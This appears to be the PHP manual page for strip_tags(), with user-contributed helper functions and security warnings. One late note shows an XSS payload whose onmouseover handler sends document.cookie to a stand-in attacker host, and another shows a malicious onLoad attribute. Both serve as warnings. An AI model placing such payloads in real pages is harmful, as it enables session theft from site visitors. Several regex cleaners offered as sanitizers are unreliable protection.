strip_tags

(PHP 4, PHP 5, PHP 7, PHP 8)

strip_tags — Strip HTML and PHP tags from a string

Description

strip_tags(string $string, array|string|null $allowed_tags = null): string

This function tries to return a string with all NULL bytes, HTML and PHP tags stripped from a given string. It uses the same tag stripping state machine as the fgetss() function.

Parameters

string: The input string.
allowed_tags: You can use the optional second parameter to specify tags which should not be stripped. These are either given as string, or as of PHP 7.4.0, as array. Refer to the example below regarding the format of this parameter.

Note:
HTML comments and PHP tags are also stripped. This is hardcoded and can not be changed with allowed_tags.

Note:
Self-closing XHTML tags are ignored and only non-self-closing tags should be used in allowed_tags. For example, to allow both <br> and <br/>, you should use:

<?php strip_tags($input, '<br>'); ?>

Return Values

Returns the stripped string.

Changelog

Version	Description
8.0.0	`allowed_tags` is nullable now.
7.4.0	The `allowed_tags` now alternatively accepts an array.

Examples

Example #1 strip_tags() example

<?php
$text = '<p>Test paragraph.</p><!-- Comment --> <a href="#fragment">Other text</a>';
echo strip_tags($text);
echo "\n";

// Allow <p> and <a>
echo strip_tags($text, '<p><a>');

// as of PHP 7.4.0 the line above can be written as:
// echo strip_tags($text, ['p', 'a']);
?>

The above example will output:

Test paragraph. Other text
<p>Test paragraph.</p> <a href="#fragment">Other text</a>

Notes

Warning

This function should not be used to try to prevent XSS attacks. Use more appropriate functions like htmlspecialchars() or other means depending on the context of the output.

Warning

Because strip_tags() does not actually validate the HTML, partial or broken tags can result in the removal of more text/data than expected.

Warning

This function does not modify any attributes on the tags that you allow using allowed_tags, including the style and onmouseover attributes that a mischievous user may abuse when posting text that will be shown to other users.

Note:
Tag names within the input HTML that are greater than 1023 bytes in length will be treated as though they are invalid, regardless of the allowed_tags parameter.

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User Contributed Notes 14 notes

down

274

mariusz.tarnaski at wp dot pl ¶

15 years ago

Hi. I made a function that removes the HTML tags along with their contents:



Function:

<?php

function strip_tags_content($text, $tags = '', $invert = FALSE) {



  preg_match_all('/<(.+?)[\s]*\/?[\s]*>/si', trim($tags), $tags);

  $tags = array_unique($tags[1]);

    

  if(is_array($tags) AND count($tags) > 0) {

    if($invert == FALSE) {

      return preg_replace('@<(?!(?:'. implode('|', $tags) .')\b)(\w+)\b.*?>.*?</\1>@si', '', $text);

    }

    else {

      return preg_replace('@<('. implode('|', $tags) .')\b.*?>.*?</\1>@si', '', $text);

    }

  }

  elseif($invert == FALSE) {

    return preg_replace('@<(\w+)\b.*?>.*?</\1>@si', '', $text);

  }

  return $text;

}

?>



Sample text:

$text = '<b>sample</b> text with <div>tags</div>';



Result for strip_tags($text):

sample text with tags



Result for strip_tags_content($text):

 text with 



Result for strip_tags_content($text, '<b>'):

<b>sample</b> text with 



Result for strip_tags_content($text, '<b>', TRUE);

 text with <div>tags</div>



I hope that someone is useful :)

down

doug at exploittheweb dot com ¶

9 years ago

"5.3.4    strip_tags() no longer strips self-closing XHTML tags unless the self-closing XHTML tag is also given in allowable_tags."

This is poorly worded.

The above seems to be saying that, since 5.3.4, if you don't specify "<br/>" in allowable_tags then "<br/>" will not be stripped... but that's not actually what they're trying to say.

What it means is, in versions prior to 5.3.4, it "strips self-closing XHTML tags unless the self-closing XHTML tag is also given in allowable_tags", and that since 5.3.4 this is no longer the case.

So what reads as "no longer strips self-closing tags (unless the self-closing XHTML tag is also given in allowable_tags)" is actually saying "no longer (strips self-closing tags unless the self-closing XHTML tag is also given in allowable_tags)".

i.e.

pre-5.3.4: strip_tags('Hello World<br><br/>','<br>') => 'Hello World<br>' // strips <br/> because it wasn't explicitly specified in allowable_tags

5.3.4 and later: strip_tags('Hello World<br><br/>','<br>') => 'Hello World<br><br/>' // does not strip <br/> because PHP matches it with <br> in allowable_tags

down

abe ¶

3 years ago

Note, strip_tags will remove anything looking like a tag - not just tags - i.e. if you have tags in attributes then they may be removed too,

e.g. 

    <?php
    $test='<div a="abc <b>def</b> hij" b="1">x<b>y</b>z</div>';
    $echo strip_tags($test, "<div><b>");

will result in 

   <div a="abc bdef/b hij" b="1">x<b>y</b>z</div>

down

Dr. Gianluigi "Zane" Zanettini ¶

9 years ago

A word of caution. strip_tags() can actually be used for input validation as long as you remove ANY tag. As soon as you accept a single tag (2nd parameter), you are opening up a security hole such as this:

<acceptedTag onLoad="javascript:malicious()" />

Plus: regexing away attributes or code block is really not the right solution. For effective input validation when using strip_tags() with even a single tag accepted, http://htmlpurifier.org/ is the way to go.

down

makogon-vs at yandex dot ru ¶

1 year ago

One of the most ridiculous and quite common variations of the use of this function, which is often encountered among newcomers to the world of programming, is the use of this function when processing query variables:

<?php
$search = isset($_GET['search']) ? strip_tags($_GET['search']) : '';
?>

I don’t know the root cause of where this “fashion” came from, perhaps from yet another low-quality book on PHP at the beginning of the century. But the fact remains that this construction is used even now, in the days of PHP8, not only by beginners, but also by developers of commercial systems.

Please do not use this function in the manner described above. This doesn't make any practical sense.

The HTML code removal function has nothing to do with data validation, much less the topic of SQL injections.

Also, you should not use this function when processing data before writing it to the database. It sounds strange, but you can never be sure that when using this function in the corporate system you are designing, you will not lose important incoming data that may (or will eventually become) come in HTML format.
A good practice for building systems is to sketch out the data in its original form, “as is,” but you can provide this data in client code according to current business requirements.

down

bzplan at web dot de ¶

12 years ago

a HTML code like this: 

<?php
$html = '
<div>
<p style="color:blue;">color is blue</p><p>size is <span style="font-size:200%;">huge</span></p>
<p>material is wood</p>
</div>
'; 
?>

with <?php $str = strip_tags($html); ?>
... the result is:

$str = 'color is bluesize is huge
material is wood'; 

notice: the words 'blue' and 'size' grow together :( 
and line-breaks are still in new string $str

if you need a space between the words (and without line-break) 
use my function: <?php $str = rip_tags($html); ?>
... the result is:

$str = 'color is blue size is huge material is wood'; 

the function: 

<?php
// -------------------------------------------------------------- 

function rip_tags($string) { 
    
    // ----- remove HTML TAGs ----- 
    $string = preg_replace ('/<[^>]*>/', ' ', $string); 
    
    // ----- remove control characters ----- 
    $string = str_replace("\r", '', $string);    // --- replace with empty space
    $string = str_replace("\n", ' ', $string);   // --- replace with space
    $string = str_replace("\t", ' ', $string);   // --- replace with space
    
    // ----- remove multiple spaces ----- 
    $string = trim(preg_replace('/ {2,}/', ' ', $string));
    
    return $string; 

}

// -------------------------------------------------------------- 
?>

the KEY is the regex pattern: '/<[^>]*>/'
instead of strip_tags() 
... then remove control characters and multiple spaces
:)

down

stever at starburstpublishing dot com dot au ¶

8 years ago

Since strip_tags does not remove attributes and thus creates a potential XSS security hole, here is a small function I wrote to allow only specific tags with specific attributes and strip all other tags and attributes.

If you only allow formatting tags such as b, i, and p, and styling attributes such as class, id and style, this will strip all javascript including event triggers in formatting tags.

Note that allowing anchor tags or href attributes opens another potential security hole that this solution won't protect against. You'll need more comprehensive protection if you plan to allow links in your text.

<?php
function stripUnwantedTagsAndAttrs($html_str){
  $xml = new DOMDocument();
//Suppress warnings: proper error handling is beyond scope of example
  libxml_use_internal_errors(true);
//List the tags you want to allow here, NOTE you MUST allow html and body otherwise entire string will be cleared
  $allowed_tags = array("html", "body", "b", "br", "em", "hr", "i", "li", "ol", "p", "s", "span", "table", "tr", "td", "u", "ul");
//List the attributes you want to allow here
  $allowed_attrs = array ("class", "id", "style");
  if (!strlen($html_str)){return false;}
  if ($xml->loadHTML($html_str, LIBXML_HTML_NOIMPLIED | LIBXML_HTML_NODEFDTD)){
    foreach ($xml->getElementsByTagName("*") as $tag){
      if (!in_array($tag->tagName, $allowed_tags)){
        $tag->parentNode->removeChild($tag);
      }else{
        foreach ($tag->attributes as $attr){
          if (!in_array($attr->nodeName, $allowed_attrs)){
            $tag->removeAttribute($attr->nodeName);
          }
        }
      }
    }
  }
  return $xml->saveHTML();
}
?>

down

CEO at CarPool2Camp dot org ¶

15 years ago

Note the different outputs from different versions of the same tag:



<?php // striptags.php

$data = '<br>Each<br/>New<br />Line';

$new  = strip_tags($data, '<br>');

var_dump($new);  // OUTPUTS string(21) "<br>EachNew<br />Line"



<?php // striptags.php

$data = '<br>Each<br/>New<br />Line';

$new  = strip_tags($data, '<br/>');

var_dump($new); // OUTPUTS string(16) "Each<br/>NewLine"



<?php // striptags.php

$data = '<br>Each<br/>New<br />Line';

$new  = strip_tags($data, '<br />');

var_dump($new); // OUTPUTS string(11) "EachNewLine"

?>

down

roger dot keulen at vaimo dot com ¶

5 years ago

https://bugs.php.net/bug.php?id=78346

After upgrading from v7.3.3 to v7.3.7 it appears nested "php tags" inside a string are no longer being stripped correctly by strip_tags().

This is still working in v7.3.3, v7.2 & v7.1. I've added a simple test below.

Test script:
---------------
<?php
$str = '<?= \'<?= 1 ?>\' ?>2';
var_dump(strip_tags($str));

Expected result:
----------------
string(1) "2"

Actual result:
--------------
string(5) "' ?>2"

down

Trititaty ¶

8 years ago

Features:
* allowable tags (as in strip_tags),
* optional stripping attributes of the allowable tags,
* optional comment preserving,
* deleting broken and unclosed tags and comments,
* optional callback function call for every piece processed allowing for flexible replacements.

<?php
function better_strip_tags( $str, $allowable_tags = '', $strip_attrs = false, $preserve_comments = false, callable $callback = null ) {
  $allowable_tags = array_map( 'strtolower', array_filter( // lowercase
      preg_split( '/(?:>|^)\\s*(?:<|$)/', $allowable_tags, -1, PREG_SPLIT_NO_EMPTY ), // get tag names
      function( $tag ) { return preg_match( '/^[a-z][a-z0-9_]*$/i', $tag ); } // filter broken
  ) );
  $comments_and_stuff = preg_split( '/(<!--.*?(?:-->|$))/', $str, -1, PREG_SPLIT_DELIM_CAPTURE );
  foreach ( $comments_and_stuff as $i => $comment_or_stuff ) {
    if ( $i % 2 ) { // html comment
      if ( !( $preserve_comments && preg_match( '/<!--.*?-->/', $comment_or_stuff ) ) ) {
        $comments_and_stuff[$i] = '';
      }
    } else { // stuff between comments
      $tags_and_text = preg_split( "/(<(?:[^>\"']++|\"[^\"]*+(?:\"|$)|'[^']*+(?:'|$))*(?:>|$))/", $comment_or_stuff, -1, PREG_SPLIT_DELIM_CAPTURE );
      foreach ( $tags_and_text as $j => $tag_or_text ) {
        $is_broken = false;
        $is_allowable = true;
        $result = $tag_or_text;
        if ( $j % 2 ) { // tag
          if ( preg_match( "%^(</?)([a-z][a-z0-9_]*)\\b(?:[^>\"'/]++|/+?|\"[^\"]*\"|'[^']*')*?(/?>)%i", $tag_or_text, $matches ) ) {
            $tag = strtolower( $matches[2] );
            if ( in_array( $tag, $allowable_tags ) ) {
              if ( $strip_attrs ) {
                $opening = $matches[1];
                $closing = ( $opening === '</' ) ? '>' : $closing;
                $result = $opening . $tag . $closing;
              }
            } else {
              $is_allowable = false;
              $result = '';
            }
          } else {
            $is_broken = true;
            $result = '';
          }
        } else { // text
          $tag = false;
        }
        if ( !$is_broken && isset( $callback ) ) {
          // allow result modification
          call_user_func_array( $callback, array( &$result, $tag_or_text, $tag, $is_allowable ) );
        }
        $tags_and_text[$j] = $result;
      }
      $comments_and_stuff[$i] = implode( '', $tags_and_text );
    }
  }
  $str = implode( '', $comments_and_stuff );
  return $str;
}
?>

Callback arguments:
* &$result: contains text to be placed insted of original piece (e.g. empty string for forbidden tags), it can be changed;
* $tag_or_text: original piece of text or a tag (see below);
* $tag: false for text between tags, lowercase tag name for tags;
* $is_allowable: boolean telling if a tag isn't allowed (to avoid double checking), always true for text between tags
Callback function isn't called for comments and broken tags.

Caution: the function doesn't fully validate tags (the more so HTML itself), it just force strips those obviously broken (in addition to stripping forbidden tags). If you want to get valid tags then use strip_attrs option, though it doesn't guarantee tags are balanced or used in the appropriate context. For complex logic consider using DOM parser.

down

Anonymous ¶

7 years ago

Just bzplan's function with the option to choose what tags are replaced for

function rip_tags($string, $rep = ' ') { 
    
    // ----- remove HTML TAGs ----- 
    $string = preg_replace ('/<[^>]*>/', $rep, $string); 
    
    // ----- remove control characters ----- 
    $string = str_replace("\r", '', $string);    // --- replace with empty space
    $string = str_replace("\n", $rep, $string);   // --- replace with space
    $string = str_replace("\t", $rep, $string);   // --- replace with space
    
    // ----- remove multiple spaces ----- 
    $string = trim(preg_replace('/ {2,}/', $rep, $string));
    
    return $string; 

}

down

cesar at nixar dot org ¶

18 years ago

Here is a recursive function for strip_tags like the one showed in the stripslashes manual page.

<?php
function strip_tags_deep($value)
{
  return is_array($value) ?
    array_map('strip_tags_deep', $value) :
    strip_tags($value);
}

// Example
$array = array('<b>Foo</b>', '<i>Bar</i>', array('<b>Foo</b>', '<i>Bar</i>'));
$array = strip_tags_deep($array);

// Output
print_r($array);
?>

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bnt dot gloria at outlook dot com ¶

10 years ago

With allowable_tags, strip-tags is not safe.

<?php

$str= "<p onmouseover=\"window.location='http://www.theBad.com/?cookie='+document.cookie;\"> don't mouseover </p>";
$str= strip_tags($str, '<p>');
echo $str; // DISPLAY: <p onmouseover=\"window.location='http://www.theBad.com/?cookie='+document.cookie;\"> don't mouseover </p>";

?>

down

tom at cowin dot us ¶

14 years ago

With most web based user input of more than a line of text, it seems I get 90% 'paste from Word'. I've developed this fn over time to try to strip all of this cruft out. A few things I do here are application specific, but if it helps you - great, if you can improve on it or have a better way - please - post it... 



<?php



    function strip_word_html($text, $allowed_tags = '<b><i><sup><sub><em><strong><u><br>')

    {

        mb_regex_encoding('UTF-8');

        //replace MS special characters first

        $search = array('/&lsquo;/u', '/&rsquo;/u', '/&ldquo;/u', '/&rdquo;/u', '/&mdash;/u');

        $replace = array('\'', '\'', '"', '"', '-');

        $text = preg_replace($search, $replace, $text);

        //make sure _all_ html entities are converted to the plain ascii equivalents - it appears

        //in some MS headers, some html entities are encoded and some aren't

        $text = html_entity_decode($text, ENT_QUOTES, 'UTF-8');

        //try to strip out any C style comments first, since these, embedded in html comments, seem to

        //prevent strip_tags from removing html comments (MS Word introduced combination)

        if(mb_stripos($text, '/*') !== FALSE){

            $text = mb_eregi_replace('#/\*.*?\*/#s', '', $text, 'm');

        }

        //introduce a space into any arithmetic expressions that could be caught by strip_tags so that they won't be

        //'<1' becomes '< 1'(note: somewhat application specific)

        $text = preg_replace(array('/<([0-9]+)/'), array('< $1'), $text);

        $text = strip_tags($text, $allowed_tags);

        //eliminate extraneous whitespace from start and end of line, or anywhere there are two or more spaces, convert it to one

        $text = preg_replace(array('/^\s\s+/', '/\s\s+$/', '/\s\s+/u'), array('', '', ' '), $text);

        //strip out inline css and simplify style tags

        $search = array('#<(strong|b)[^>]*>(.*?)</(strong|b)>#isu', '#<(em|i)[^>]*>(.*?)</(em|i)>#isu', '#<u[^>]*>(.*?)</u>#isu');

        $replace = array('<b>$2</b>', '<i>$2</i>', '<u>$1</u>');

        $text = preg_replace($search, $replace, $text);

        //on some of the ?newer MS Word exports, where you get conditionals of the form 'if gte mso 9', etc., it appears

        //that whatever is in one of the html comments prevents strip_tags from eradicating the html comment that contains

        //some MS Style Definitions - this last bit gets rid of any leftover comments */

        $num_matches = preg_match_all("/\<!--/u", $text, $matches);

        if($num_matches){

              $text = preg_replace('/\<!--(.)*--\>/isu', '', $text);

        }

        return $text;

    }

?>

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strip_tags

Description

Parameters

Return Values

Changelog

Examples

Notes

See Also

Improve This Page

User Contributed Notes 14 notes